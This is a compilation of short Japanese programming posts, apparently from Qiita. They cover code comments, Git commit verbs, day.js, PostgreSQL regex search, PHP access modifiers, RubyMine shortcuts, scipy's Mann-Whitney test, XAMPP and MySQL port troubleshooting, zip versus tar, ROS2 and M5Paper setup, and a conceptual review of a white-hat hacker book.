こういうコメントは書く必要がないなどの個別な事象についてはその状況やソースコードによって変わると思うので、僕がコメントを書くときにどんなものにはコメントを書くように意識しているのかをざっくりまとめました。

### 役割、振る舞いについて

関数や変数が何のために存在しているか、どんな役割があるのか、どんな振る舞いをするものなのかについて書きます。
もちろん、ソースコードを読んですぐわかるもの（役割、振る舞いが明らかなもの）には書く必要はありません。

### 意図したものなのかどうかについて

その実装は意図したものなのかどうなのかについて書きます。
バグなのか、仕様なのかは次に読むエンジニアはわかりません。わかるのはソースコードを書いた本人だけです。

### 直感的ではないものについて

これはソースコードが簡潔でない場合のことではなく、振る舞い、出力などが直感的なものとは反しているときを指してます。
他のエンジニア（もしくは自分）がそのソースコードを読んで、「予想してたのと違うな」と思うものに対して書きます。

## さいごに

コメントの役割、どんなことを書くべきかについて書きました。
まだ、3年目の若手エンジニアなのでコメントを書く歴が長いわけではないですが、お役に立てたら嬉しいです。

また、こんなときにコメントを書くようにしてるよなどあれば、コメントや編集リクエストで教えていただけると幸いです。

## Refs

- [よいコメントの書き方入門（心構え編） - 新・日々録 by TRASH BOX@Eel](https://eel3.hatenablog.com/entry/20090811/1249977594)
- [プログラミング作法 - アスキードワンゴ](https://asciidwango.jp/post/155982762075/%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%9F%E3%83%B3%E3%82%B0%E4%BD%9C%E6%B3%95)
- [O'Reilly Japan - リーダブルコード](https://www.oreilly.co.jp/books/9784873115658/)
【GitHub】Pull Request / Commit メッセージ に使う英語の動詞集

# 導入

みなさん、Git 使ってますか？
私は最近使い始めました。いいですね、Git。**全人類が使えばいいと思います**。

ところで、Pull Request / Commit のメッセージ、皆さんはどうしていますか？

**日本語ですか？　英語ですか？**

# 事例

私は、[Brain Hackers](https://github.com/brain-hackers) にドキュメントのライターとして参加させていただいています。

私がはじめて参加した時にはすでにいくつか Pull Requests が Closed の状態で鎮座していましたが、各 Pull Requests のメッセージは、ほとんどの PR が **英語** でした。（ちなみに、示し合わせたわけではないようです）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1779469/c2773b81-7168-d8dd-1e11-5686b0f9cd3d.png)

Add, Update, Revise... 様々な単語がひしめいていますね。英語アレルギーの僕だと**蕁麻疹**が出そうです。

でも、**書けたらかっこいいですよね？**

この記事では、PR や コミットメッセージで使われやすい動詞を紹介していきます。

# 一般的な動詞

|英単語|主な意味|用例|備考|
|---|---|---|---|
|Add|**追加**する|Add README.md|「フォルダ・ファイル名」や「機能」を引数（目的語）にとる|
|Remove|**削除**する|Remove README.md|`Add` の対義語|
|Improve|**向上**する（させる）|Improve main.py|機能や速度の向上など、比較的小さな更新を意味する場合が多い|
|Update|**更新**する|Update README.md|更新があった場合。元の版では内容が古い場合に用いる|
|Revise|**改訂**する|Revise README.md|大幅な更新があった場合。書き換えが `Update` より大きい|
|Fix|**修正**する|Fix main.py|エラーを修正した場合。元の版では内容が間違っている場合に用いる|
|Generate|**作成**する|Generate UUID|`Add` よりも、機械的に生成（追加）したというイメージが強い|
|Split|**分割**する|Split files||
|Adjust|**調整**する|Adjust format||
|Change|**変更**する|Change format|プログラムの作成・修正というよりは、仕様の変更の意味合いが大きい。自動で出力されるファイル名など|
|Merge|**統合する**|Merge PR #1 from A|進行中のプルリクと統合する場合に自動メッセージで出力される|

# 特殊な動詞
`Blacken` のようにツールによって慣用的に利用されている動詞なんかもあります。

例）`Blacken` …… Python のコードをフォーマットするツール [Black](https://github.com/psf/black) を使用することを示す。

# まとめ

もちろん、参加する団体・会社・組織によっては日本語だったり、その他の言語だったりするかもしれません。
個人のリポジトリであれば、自分で **「日本語でおｋ」** としておくのも良いと思います。

でも、ほかの方が積み上げてきてくださった今までの慣例が英語であったり、ルールによって英語とされているのであれば、統一しておくのがよいでしょう。

そんな「ちょっと」困ったときに、この記事を思い出してもらえたらうれしいです。

# 関連項目

[英語のコメントや issue で頻出する略語の意味 (FYI, AFAIK, ...) - Qiita / @uasi さん](https://qiita.com/uasi/items/86c3a09d17792ab62dfe)
Qiitaに投稿する際に表示しておきたいソフトウェアバージョン情報

# はじめに
<!-- 概要 -->
Qiitaに投稿する際に表示しておきたいソフトウェアバージョン情報を表示する際に使うコマンドをメモしておく
# 目次

1. [必要な内容](#Chapter1)
1. [表示方法](#Chapter2)


<!-- 各チャプター -->
<a id="#Chapter1"></a>
# 必要な内容
1. Ubuntuのディストリビューション

1. CPUのアーキテクチャ

1. ソフトウェアバージョン


<a id="#Chapter2"></a>
# 表示方法
~~~:ディストリビューション
lsb_release -a
~~~
~~~:CPU関連
uname -a
~~~
~~~:ROS周りの情報が必要なとき
dpkg -l | grep ros($-dashing)
~~~
TypeScriptで日時の操作を実施する(day.js)

day.jsを利用した日時操作。
```typescript:app.ts
import dayjs, { Dayjs } from 'dayjs';

const now = new Date()

console.log('now: ', now)
console.log('=====================【以降】==========================')
console.log('1分後',dayjs(now).add(1, 'm').format())
console.log('1日後',dayjs(now).add(1, 'd').format())
console.log('1時間後',dayjs(now).add(1, 'h').format())
console.log('1週間後',dayjs(now).add(1, 'w').format())
console.log('1ヶ月後',dayjs(now).add(1, 'M').format())
console.log('1年後',dayjs(now).add(1, 'y').format())

console.log('=====================【以前】==========================')
console.log('1分前',dayjs(now).add(-1, 'm').format())
console.log('1日前',dayjs(now).add(-1, 'd').format())
console.log('1時間前後',dayjs(now).add(-1, 'h').format())
console.log('1週間前',dayjs(now).add(-1, 'w').format())
console.log('1ヶ月前',dayjs(now).add(-1, 'M').format())
console.log('1年前',dayjs(now).add(-1, 'y').format())

```

```shell:実行結果
~/develop/node_study/dayjs_sample $ ts-node app.ts
now:  2022-06-03T05:56:25.086Z
=====================【以降】==========================
1分後 2022-06-03T14:57:25+09:00
1日後 2022-06-04T14:56:25+09:00
1時間後 2022-06-03T15:56:25+09:00
1週間後 2022-06-10T14:56:25+09:00
1ヶ月後 2022-07-03T14:56:25+09:00
1年後 2023-06-03T14:56:25+09:00
=====================【以前】==========================
1分前 2022-06-03T14:55:25+09:00
1日前 2022-06-02T14:56:25+09:00
1時間前後 2022-06-03T13:56:25+09:00
1週間前 2022-05-27T14:56:25+09:00
1ヶ月前 2022-05-03T14:56:25+09:00
1年前 2021-06-03T14:56:25+09:00
```
PostgreSQLで正規表現の逆引き検索

# TL;DR
### 正引き検索
eg: 4桁数字から始まる電話番号を検索する

```sql
SELECT * FROM users WHERE (tel ~ '^\d{4}-');
```

### 逆引き検索
eg: 会員の電話番号から合致するパターンを検索する

```sql
SELECT * FROM filters WHERE ('0120-123-456' ~ regexp);
```

Railsでの使い方
```rb
Filter.where("? ~ regexp", user.tel)
```

# はじめに
最近、とある理由で会員の情報から、合致する全てのパターンを検索するというニッチな要望を対応していました。
例えば、会員にメルマガを送信する時、固定電話で登録していた方と、携帯で登録していた方と、法人様で登録していた方にはそれぞれ違う内容で送信したいとかの要望について、今まではハードコーディングでロジックに組み込んでいましたが、管理画面でフィルターを作れません。

そのために、パターンそのものをDBに登録して、一括配信する際に、どのフィルターに当てはまるかを判断する機能を作りました。


# 作成例
## Model構成
```user.rb
class User < ApplicationRecord
  # name: string
  # tel: sting
  # ...
end
```

```filter.rb
class Filter < ApplicationRecord
  # name: string
  # regexp: string
  # text: text
  # ...
end
```

## サンプルデータ
```rb
User.new(name: 'User1', tel: '090-1234-5678').save
User.new(name: 'User2', tel: '070-1234-5678').save
User.new(name: 'User3', tel: '03-1234-5678').save
User.new(name: 'User4', tel: '08012345678').save
User.new(name: 'User5', tel: '1234-5678').save

Filter.new(name: '携帯電話', regexp: '^0[1-9]0-?', text: '携帯会員です').save
Filter.new(name: '市外局番記入なし', regexp: '^\d{2,4}-?\d{3,4}$', text: '市外局番からご記入してください').save
```

## 実行例

```rb
user = User.find_by(name: 'User1')
filters = Filter.where("? ~ regexp", user.tel)

  Filter Load (14.8ms)  SELECT "filters".* FROM "filters" WHERE ('090-1234-5678' ~ regexp)
=> [#<Filter:0x00007fd1ee27ddb0
  id: 1,
  regexp: "^0[1-9]0-?",
  text: "携帯会員です"
  created_at: Tue, 31 May 2022 16:22:57 JST +09:00,
  updated_at: Tue, 31 May 2022 16:24:47 JST +09:00>]
```


# 参考
- [PostgreSQLで正規表現](https://qiita.com/y_ito/items/a0fb46a618b0316617c8)
- [MySQL 8.0 リファレンスマニュアル :: 12.8.2 正規表現](https://dev.mysql.com/doc/refman/8.0/ja/regexp.html)
    - 余談ですが、MySQLで正規表現を使った検索では、`\d`のような特殊文字は使えません、`[[:digit:]]`のようなcharacter_classを使うべきです。
「ホワイトハッカーの教科書」を読んでみた

# ホワイトハッカー
最近この本が面白そうだなって思って購入して読んでみました。
[ホワイトハッカーの教科書](https://amzn.to/3NPVYXd)
ざっと読んでみたので、大事かなっていうのを残しておきます。
※対象レベルは初級レベルです。

### 概要
主にセキュリティに関する内容（と思って読んでます）。セキュリティに関しては一般的な知識を知っておくだけでも大分違います。

### ホワイトハッカーとは？
セキュリティを専門とし、法令遵守できる知識を持ち、倫理観を持った上で善良な方面に専門スキルを活かすハッカーを指す。
ホワイトハッカーという職業があるわけではなく、ある一定の評価をされたりコミュニティへの貢献などで評価された場合に得る資格
セキュリティエンジニアの延長線上にあるもの？ぐらいの認識です。

### 本書の大まかな内容について
どうしたらホワイトハッカーやセキュリティエンジニアとして成長していけるかというのを示している本。
具体的なセキュリティ問題などに触れているわけではなく、手法や知識、資格などを概念的に説明しているのがメインの内容。
個人的に読んでみて気になった箇所を抜粋して記載してく。

### サイバー攻撃TOP10
単語だけでも知っておくべきかなと。個人標的と組織標的で結構内容が異なっており、
特に組織標的についてはなかなかわからない部分があるため個別に調べておいて損はなさそうです。
サイバー攻撃は流行りがあるようで、ある周期で変わっていくと思います。
| 個人標的 | 組織標的 |
|:-:|:-:|
| フィッシングによる個人情報などの詐取  | ランサムウェアによる被害  |
| ネット上の誹謗中傷・デマ | 標的型攻撃による機密情報の窃取  |
| メールやSMSでの金銭要求  | サプライチェーンの弱点を悪用した攻撃  |
| クレジットカード情報の不正利用  | テレワークなどのニューノーマルな働き方を狙った攻撃  |
| スマホ決済の不正利用 | 内部不正による情報漏洩  |
| 偽警告による詐欺   | 脆弱性対策上場の公開に伴う悪用増加  |
| 不正アプリによる被害  | ゼロデイ攻撃  |
| 個人情報の窃取  | ビジネスメール詐欺による金銭被害  |
| ネットバンキングの不正利用  | 予期せぬIT基盤の障害に伴う業務停止  |
| 不正ログイン  | 不注意による情報漏洩などの被害  |

### ホワイトハッカーの4条件
+ 技術力
最も重要な部分。技術力というのは単なる実装の話ではなく、悪質な攻撃やそれらから防衛するための手法など知識の部分も指している。
紹介されているスキルとして以下のものがあった。細かい説明は省略いたしますが、聞いたことないものがあれば検索しておくのをお勧めします。

ネットワークスキル
コンピュータスキル
Linuxスキル
プログラミング
ハードウェアの知識
リバースエンジニアリング
デジタルフォレンジック
暗号技術の知識
データベーススキル
コンピュータサイエンス
ハッキングスキル
その他セキュリティスキル
物理的セキュリティ
ハッキングツールやセキュリティソフトウェアの知識

+ 倫理
ここについては特質記載することはないです。そのまんまです。

+ 法律
法律の知識については確かに重要。新しい法律はどんどん出てきているため、以下のようなものがある。
正直、中身は把握仕切るのは大変なため、普通のエンジニアであれば名前ぐらいを覚えておき、後で調べられるようにしておくで良い気がする。

サイバーセキュリティ基本法
不正アクセス行為の禁止等に関する法律
不正指令電磁的記録に関する罪
電気通信事業法
電波法
有線電気通信法
特定電子メールの送信の適正化等に関する法律
著作権法
電子計算機使用詐欺
電子計算損壊等業務妨害
名誉毀損
わいせつ物頒布
などなど。。。
+ 素質
ここについてもエンジニアとして求められるようなものが列挙されているだけなので割愛。

### 所感
ざっと読んだ感じはホワイトハッカー（セキュリティエンジニア）としてのロードマップのようなものが書かれているため、
世間一般でのセキュリティについての考え方や捉え方を知るには良さそうな本。
細かいサイバー攻撃手法についてなどを記載しているわけではないため注意。
もう少し読み込んで気になる箇所があれば追記していきます。
【PHP】アクセス権について

## アクセス修飾子とは
プログラム上で変数やメソッドが同名として重複しないように、
変数や関数の有効範囲をするもの。とのことです。

## アクセス修飾子の使い分け・種類

### public
クラス内、外関係どこからでもアクセス可能

```public.php
<?php

class Myclass {
  public $public = 'public';

  public function printhello() {
    echo $this->public;
  }
}

$obj = new Myclass;
echo $obj->public; //プロパティの呼び出し
echo $obj->printhello(); //メソッドの呼び出し

//=> public public 

```
### protected
そのクラスと継承先クラスからアクセスが可能
```protected.php
<?php

class Myclass {
  protected $protected = 'protected';

  public function printhello() {
    echo $this->protected;
  }
}

class Myclass2 extends Myclass {
  public function printhello2() {
    echo $this->protected;
  }
}

$obj = new Myclass2;
echo $obj->protected;
echo $obj->printhello2();

// =>
// Fatal error: Uncaught Error: Cannot access protected property Myclass2::$protected in /var/www/html/php2/47/C.php:18 Stack trace: #0 {main} thrown in /var/www/html/php2/47/C.php on line 18
// protected

```
### private
そのクラスからのみアクセス可能
```private.php
<?php

class Myclass {
  private $private = 'private';

  public function printhello() {
    echo $this->private;
  }
}

$obj = new Myclass;
echo $obj->private; //呼び出せない
echo $obj->printhello(); //呼び出せる

// =>
// Fatal error: Uncaught Error: Cannot access private property Myclass::$private in /var/www/html/php2/47/B.php:12 Stack trace: #0 {main} thrown in /var/www/html/php2/47/B.php on line 12
// private

```
【RubyMine】よく使う便利なショートカット10選

# はじめに
私は普段、[RubyMine](https://www.jetbrains.com/ja-jp/ruby/) というIDE(Integrated Development Environment)を用いてMacでRuby/Railsプロジェクトの開発をしています。
そんなRubyMineには便利なショートカットが数多くあります。
中でも、私が普段からよく使うショートカットを一部抜粋して紹介しようと思います。
すべてのショートカットを知りたい方は ▷[こちら](https://resources.jetbrains.com/storage/products/rubymine/docs/RubyMine_ReferenceCard_mac.pdf)。
# よく使う便利なショートカット10選

| 記号 | 意味 |
|:-:|:-:|
| ⌃ |Controlキー|
| ⌥  |  Optionキー |
|  ⇧ |  Shiftキー |
|  ⌘ | Commandキー  |
## 1. ⌘Click / ⌘B : 宣言場所 ・ 定義元参照
Commandキーを押しながら変数やクラス、メソッド等にカーソルを当てると簡易な情報を確認することができます。
そのままクリックすると、宣言場所や定義元を参照することができます。
開発中に最も使う便利なショートカットです。
![command+click.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1578726/3c6a0c61-bba8-3272-93e1-a8bf9b5e0cad.gif)

## 2. ⌥⌘L : コードの自動整形
行の先頭がずれていたり、インデントがおかしい時にコードの自動整形をしてくれるショートカット。
コードの選択をしているときはその範囲のみ、特に指定をしていないときは開いているファイル全体にコード自動整形が走ります。
![reformat.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1578726/8b3399e6-ce51-068d-850d-d749ca0a1221.gif)

## 3. ⌘D : 行の複製
カーソルを置いた行の複製をすることができます。
![duplicate.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1578726/9c20d503-e5b8-a17c-5e2b-827fa407907a.gif)

## 4. ⌥⇧↑ or ⌥⇧↓ : 行の移動
カーソルの置いた行を上下に移動させることができます。
![move_line.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1578726/af35dfc9-e8b0-cebb-9f8b-8042b2dd3870.gif)

## 5. ⇧⌘U : 大文字 ・ 小文字変換
選択している文字を大文字または小文字に変換できます。
![toggle_case.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1578726/b95344b9-9a59-843b-9e64-4a006662683b.gif)

## 6. ⌥⇧U : スネークケース ・ キャメルケース変換
こちらも文字を変換するショートカット。
スネークケースとキャメルケースの変換ができます。
![camel_snake.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1578726/d6d9b60f-032d-3df0-b323-714f7688256c.gif)

## 7. ⇧3 : 式展開
選択した文字の式展開をするショートカットです。
わざわざ `#` と `{}` を打つ手間が省けるのが良いですね。
![string interpolation.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1578726/6ca7e3da-f9be-888f-f04e-b99f76fefdf1.gif)

## 8. ⇧⌘ , : \<% %>挿入
.erbファイルでERBタグを挿入することができます。
`,` を `.` に変更して `⇧⌘.` を叩くと、`<%= %>` を挿入することができます。
![erb_tag.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1578726/62455d39-57aa-c47f-40c6-d09179bc7d3a.gif)


## 9. ⌃G : 同じ文字を選択
選択した文字と同じ文字を次々と選択していってくれるショートカットです。
勿論、小文字と大文字は違う文字と判定されます。
![same_word.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1578726/1ed3bbad-f24e-a47b-58dc-97691ad62edb.gif)

## 10. ⇧⇧ : (ファイル ・ クラス ・ アクション)検索
ファイルやクラス、アクションなど幅広い検索ができます。
数多いファイルの中から対象のファイルを見つけるのは大変なので、検索ができるのは有難いですね。
![search_file.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1578726/0cbdf765-2cb4-256a-3473-e7a1fb547849.gif)

# 終わりに
今回はよく使う便利なショートカット10選を紹介しました。
ショートカットをうまく使いこなして、生産性を上げていきましょう！
Solr もしかして検索について Vol.1

■概要
検索エンジンSolrをチューニングする案件に携わったため、忘れないようにメモ。

■内容
既存機能でSuggesterをしようしているが、
どうも「もしかして検索」でヒットする単語が少ない。
そのため、ヒットする単語が増えるようにSolrのチューニング及び精度を上げる。
→Google検索のようにしたい(近付けたい)

例１：Googleで検索した場合
ippad	→　もしかして「ipad」？
いぱｄ	→　もしかして「ipad」？

例２：業務で使用しているSolrの場合
ippad	→　候補なし
いぱｄ	→　候補なし
⇒Googleの様に「ipad」を「もしかして検索」の候補としたい

■対応内容
【その１】
前方一致検索のみのため、中間一致・後方一致できるようにチューニングする。
単純な中間一致・後方一致でクエリを投げる場合。例えば「*abc*」、「*abc」。
Solrではエラーとならないが、レスポンスが急に遅くなった。
理由として、大量の単語に対して反復処理を行うため、著しくパフォーマンスが下がる。

【その２】
SuggestComponentを追加して、候補となる単語が増えるようにする。
scipy.stats: マン・ホイットニーの U 検定（ウィルコクソンの順位和検定） mannwhitneyu

# scipy.stats: マン・ホイットニーの U 検定（ウィルコクソンの順位和検定） `mannwhitneyu`

```python
from scipy.stats import mannwhitneyu
```

`mannwhitneyu(x, y, use_continuity=True, alternative='two-sided', axis=0, method='auto', *, nan_policy='propagate')`

- `use_continuity` : `method` が `'asymptotic'` の場合は，デフォルト（`True`）で連続性の補正を行う。
- `alternative` : デフォルトで両側検定 `'two-sided'`。片側検定の場合には `'less'`, `'greater'`。
- `method` : デフォルトは `'auto'` であるが，明示的に指定するほうがよい。
    * `'asymptotic'` : 同順位補正をして標準正規分布で漸近検定。
    * `'exact'` : 同順位補正はせず，正確な $p$ 値を求める。
    * `'auto'` : いずれかのサンプルサイズが 8 未満で同順位がないときには `'exact'`，それ以外のときは `'asymptotic'` をとる。


```python
x = [0.80, 0.83, 1.89, 1.04, 1.45, 1.38, 1.91, 1.64, 0.73, 1.46]
y = [1.15, 0.88, 0.90, 0.74, 1.21]

from scipy.stats import mannwhitneyu
mannwhitneyu(x, y, alternative='greater')
```




    MannwhitneyuResult(statistic=35.0, pvalue=0.1272061272061272)



この例の場合，`use_continuity=False` だけでは「連続性の補正をしない」事にならない。`method='asymptotic'` を指定しなければならない。


```python
mannwhitneyu(x, y, alternative='greater', use_continuity=False)
```




    MannwhitneyuResult(statistic=35.0, pvalue=0.1272061272061272)




```python
mannwhitneyu(x, y, alternative='greater', use_continuity=False, method='asymptotic')
```




    MannwhitneyuResult(statistic=35.0, pvalue=0.11033568095992347)



欠損値は np.NaN を使う。


```python
import numpy as np
from numpy import NaN as NA

x = np.array([41, 36, 12, 18, NA, 28, 23, 19, 8, NA, 7, 16, 11, 14, 18, 14, 
    34, 6, 30, 11, 1, 11, 4, 32, NA, NA, NA, 23, 45, 115, 37])
y = np.array([96, 78, 73, 91, 47, 32, 20, 23, 21, 24, 44, 21, 28, 9, 13, 
    46, 18, 13, 24, 16, 13, 23, 36, 7, 14, 30, NA, 14, 18, 20])
```

以下のように指定して検定を行うと，このデータの場合には `method='asymptotic', use_continuity=True` を指定したことになる。

R の `wilcox.test` と同じ結果になる。


```python
mannwhitneyu(x, y, nan_policy='omit')
```




    MannwhitneyuResult(statistic=284.0, pvalue=0.11859308339648639)




```python
mannwhitneyu(x, y, nan_policy='omit', method='asymptotic', use_continuity=True)
```




    MannwhitneyuResult(statistic=284.0, pvalue=0.11859308339648639)




```python
`method=exact` を指定した結果は，R の coin::wilcox_test の結果（$p$ = 0.1182）とは異なる。
```


```python
mannwhitneyu(x, y, nan_policy='omit', method='exact')
```




    MannwhitneyuResult(statistic=284.0, pvalue=0.11950059110563417)
[Python] YouTubeリンクをコピーしたら自動でダウンロードする。音声のみ。

必要なライブラリは適宜ダウンロードしてください。

ytdownload_bestaudio.py

```
# -*- coding: utf-8 -*-

from PIL import ImageGrab, Image
import tkinter
import time as tm1 
import datetime as dt1
import pyperclip 
import os 
from youtube_dl import YoutubeDL

class Application( tkinter.Frame ):
    def __init__(self, master): 
        super().__init__(master) 
        self.flag1 = 0 
        self.path1 = os.path.dirname(__file__) + "\\" 
        self.pack() 
        master.title(u"clipboard capture")
        master.geometry("300x40")
        self.label1 = tkinter.Label(text='')
        self.label1.place(x=10, y=10) 
        self.btn1 = tkinter.Button(master, text='start', command=self.btn_click1, bg='orange')
        self.btn1.place(x=180, y=10, width=100)
        master.after(2000, self.update) 

    def update(self): 
        if self.flag1 == 1: 
            datetime1 = dt1.datetime.now().strftime( "%Y%m%d_%H%M%S" ) 
            file1 = datetime1
            self.label1["text"] = file1 
            ret1 = 0 
            ret1 = self.capture1( file1 ) 
        self.master.after(2000, self.update) 

    def capture1( self, file0 ): 
        ret1 = "0" 
        im1 = ImageGrab.grabclipboard()
        str1 = pyperclip.paste().strip().replace( "\r\n", "\n" )
        pyperclip.copy("")
        if "www.youtube.com" in str1:
            print( str1 ) 
            ytdl( str1 )
            ret1 = "1" 
        elif str1 != "": 
            print( str1 ) 
            file1 = self.path1 + str(file0) + ".txt" 
            write1( file1, str1 ) 
            ret1 = "1" 
        elif isinstance(im1, Image.Image):
            file1 = self.path1 + str(file0) + ".jpg" 
            print( file1 ) 
            im1.save( file1 )
            ret1 = "1" 
        return ret1 

    def btn_click1( self ): 
        self.label1.config( text = '' ) 
        if self.flag1 == 0:
            self.flag1 = 1 
            self.btn1.config(bg = 'red', text = 'stop' ) 
        else: 
            self.flag1 = 0 
            self.btn1.config(bg = 'orange', text = 'start' ) 

def write1( file1, str1 ): 
    with open( file1, 'w', encoding='utf-8' ) as f1: 
        f1.write( str1 ) 
    return 0 

def ytdl( str1 ):
    meta = YoutubeDL().extract_info(str1, download=False)
    title = meta.get('title')
    ext = meta.get('ext')
    ydl_opts = {
        'format': 'bestaudio/best',
        'outtmpl': '%(title)s' + '.%(ext)s'
    }
    with YoutubeDL(ydl_opts) as yt:
        yt.download([str1])
        yt.cache.remove()

def main(): 
    root = tkinter.Tk()
    app = Application( master=root ) 
    app.mainloop()

if __name__ == "__main__": 
    main() 
```
XAMPP の MySQL Database が起動しない　場合

# 初めに
今まで問題なく使えていた、xamppのMySQL Databaseが起動しなくなり、その際の解決した方法です。

## 原因
MySQLDatabaseをずっと起動したままにしていたのが原因のようでした。

## 解決方法
MySQLDatabaseが使っているPORTを閉じて再起動をする。

### 手順1  [PORT番号の確認]
XAMPPを開き、
１：画面上部の「ManageServers」を開く
２：画面右側の「Configure」を開く
![スクリーンショット 2022-06-03 13.46.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1096105/9b14c7f4-5f4e-2b20-cdf3-facbb26d3f8c.png)

３：PORT番号を確認する
![スクリーンショット 2022-06-03 13.51.08.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1096105/affd4488-625a-dcfb-02c3-340d6e364ca8.png)

### 手順2  [コマンドでPORTを閉じる]
**1：ターミナルを起動**

**2：コマンドを入力 (PORTを終了する為に必要なIDを取得)**
下記コマンドを入力。コピペでOKです。
3306　の部分には、手順１で確認した「PORT番号」を入れます。
```
sudo lsof -i:3306
```
すると、下記のような記述が返ってきます。
```
COMMAND   PID   USER   FD   TYPE             DEVICE SIZE/OFF NODE NAME
mysqld  39676 _mysql   ***  IPv6 ******************      0t0  TCP *:mysql (LISTEN)
```
**PID**の部分　上記の場合は　39676をコピー。

**３：コマンドを入力(PORTを閉じる)**
下記のコマンドを記述。 39676の部分には**コピーしたPID**を記述
```
 sudo kill 39676
```
これで開いていたPORTを閉じることができました。
### 手順3[XAMPP再起動]
[Stop ALL]
↓
XAMPPアプリ終了
↓
XAMPPアプリ起動

## 終わりに
色々な原因があると思いますので、一つの解決方法として試してみてください。
理解の部分や表現で間違っている部分があるかもしれません。もしあるいましたらご教授頂けると幸いです。

### 参考記事
https://qiita.com/katsuomi/items/455fa8e19e14d612caf7
zipとgzipどっち使おう？

# zipとgzip
ファイルを圧縮する際に毎度どの形式で圧縮するか若干悩んだりはしないでしょうか。
この記事ではzipとgzipの違いを明確にし、根拠をもって使い分けできるようしたいと思います。

# zipとgzipは全くの別物
いきなりタイトルを覆すことになるのですが、zipとgzipを単純に比較することはできません。
 - zip: アーカイバ
 - gzip: 圧縮コマンド
 
という違いがあります。
アーカイバとは複数のファイルをまとめる機能(アーカイブ)を持っています。
つまり、ディレクトリを対象にできます
一方gzipはアーカイブ機能を有していないため、ディレクトリを対象にすることはできません。

実際にディレクトリに対してgzipコマンドの実行を試みますが受け付けてくれません。

```bash
$ mkdir sample/
$ gzip sample/
gzip: sample/ is a directory -- ignored
```

zipコマンドはディレクトリに対して使うことができます。

```bash
zip -r sample.zip sample/
  adding: sample/ (stored 0%)
```

## tarを使う
よってUnix系のOSではディレクトリを圧縮する場合、gzipではなくtarを使います。

```bash
$ tar zcf sample.tar.gz sample
a sample
```
オプションの解説
- -z: gzip圧縮をする
- -c: 新規アーカイブを作成
- -f: ファイル名作成

# zipとtar
よって、比較すべきは`zip`と`tar`ということになりました。

1GBのファイルを圧縮してzipとtarコマンドを比較します。

```bash
$ mkfile 1g sample/sample.txt
```

## zip

```bash
$ zip -r zip_commpression.zip sample
  adding: sample/ (stored 0%)
  adding: sample/test.txt (deflated 100%)
$ du -h zip_commpression.zip # 容量確認
1.0M	zip_commpression.zip
```
## tar

```bash
$ tar zcvf tar_compression.tar.gz sample/
a sample
a sample/test.txt
$ du -h tar_compression.tar.gz # 容量確認
1.0M	tar_compression.tar.gz
```

圧縮後のファイルはどちらも1.0Mで、元ファイルの0.1%になりました。
圧縮率においての差は無いようです。

# まとめ

特徴をまとめました。
|        |分類  |    圧縮率   |解凍機能|
|:-----------------|:------------------|:------------------|:------------------|
|zip             |              アーカイバ |       0.1%         |なし|
|gzip           |       コンプレッサ      |       0.1%      |あり|
|tar             |              アーカイバ |        0.1%        |あり|

単純なテキストファイルを圧縮した場合の圧縮率はどれも0.1%と等しくなりました。
また、gzip,tarコマンドはオプションで解凍をすることができますが、zipの場合、別途unzipコマンドを用いる必要があります。

### あなたがwindowsユーザーの場合
迷わず`zip`コマンドを使いましょう。

### あなたがUnix派生のOSユーザーの場合
どちらを使っても良いのかと思います。ディレクトリとファイルを対象とした圧縮・解凍のことを考えると、どちらを選択したとしても2つのコマンドを扱えるようにしておく必要があり、圧縮率も変わりません。
しかし、標準では`zip`がインストールされていなかったりするので、せっかくなら`gzip`と`tar`を使ったほうが良いのかなと個人的には思います。windowsでも解凍することはできるので、他人のOSを気にする必要も無いと思います。
ROS2にIMUセンサを接続する

# 環境
- Jetson AGX Xavier
- Ubuntu 18.04
- ROS2 Dashing
# やりたい事
IMUセンサをROS2に接続したい
接続したい9軸加速度センサ詳細は以下の通り
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1689380/7ae1abf6-93e2-c127-e1a4-7ec1cfe1e261.png)
| 仕様 ||
|---:|-------------|
| 型番|  RT-USB-9axisIMU2       |    
| 品名|    USB出力9軸IMUセンサモジュール         | 
|メーカー|RT CORPORATION

# インストール方法
~~~:Clone package & checkout ROS 2 branch
cd ~/ros_ws/src
git clone -b dashing-devel https://github.com/rt-net/rt_usb_9axisimu_driver
rosdep install -r -y -i --from-paths .
~~~
~~~:Build & Install
cd ~/ros_ws
colcon build --symlink-install
source ~/ros_ws/install/setup.bash
~~~
# 確認方法
コンソールを2スレッド準備する
~~~:コンソールA
source ~/ros_ws/install/setup.bash
ros2 run rt_usb_9axisimu_driver rt_usb_9axisimu_driver
~~~
~~~:コンソールB
source ~/ros_ws/install/setup.bash
ros2 lifecycle set rt_usb_9axisimu_driver configure
ros2 lifecycle set rt_usb_9axisimu_driver activate
#data_rawの表示
ros2 topic echo /imu/data_raw
#magの表示
ros2 topic echo /imu/mag
#temperatureの表示
ros2 topic echo /imu/temperature
~~~
## 参考にした記事
https://github.com/rt-net/rt_usb_9axisimu_driver/tree/dashing-devel

https://rt-net.jp/products/usb9imu/
M5Paper で WiFi 接続

こちらの記事を参考にしました。
[M5Paperでウェブサイトを表示する node.js 版](https://qiita.com/RAWSEQ/items/21953059ca283486e55b)
WiFi 接続をして、ネット上の png ファイルをダウンロードして、表示するプログラムです。

![IMG_20220603_132939.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/a0f7b281-987d-f9c8-7417-8ab7dcfdc228.jpeg)


SSID
PASSWORD
は、書き換えて下さい。

```text:wi_fin.ino
// ---------------------------------------------------------------
//  wi_fi.ino
//
//              Jun/03/2022
// ---------------------------------------------------------------
#include <M5EPD.h>
#include <WiFi.h>

#define SSID "*****************"
#define PASSWORD "**********"

#define URL_PNG "https://ekzemplaro.org/png/linux_logo.png"

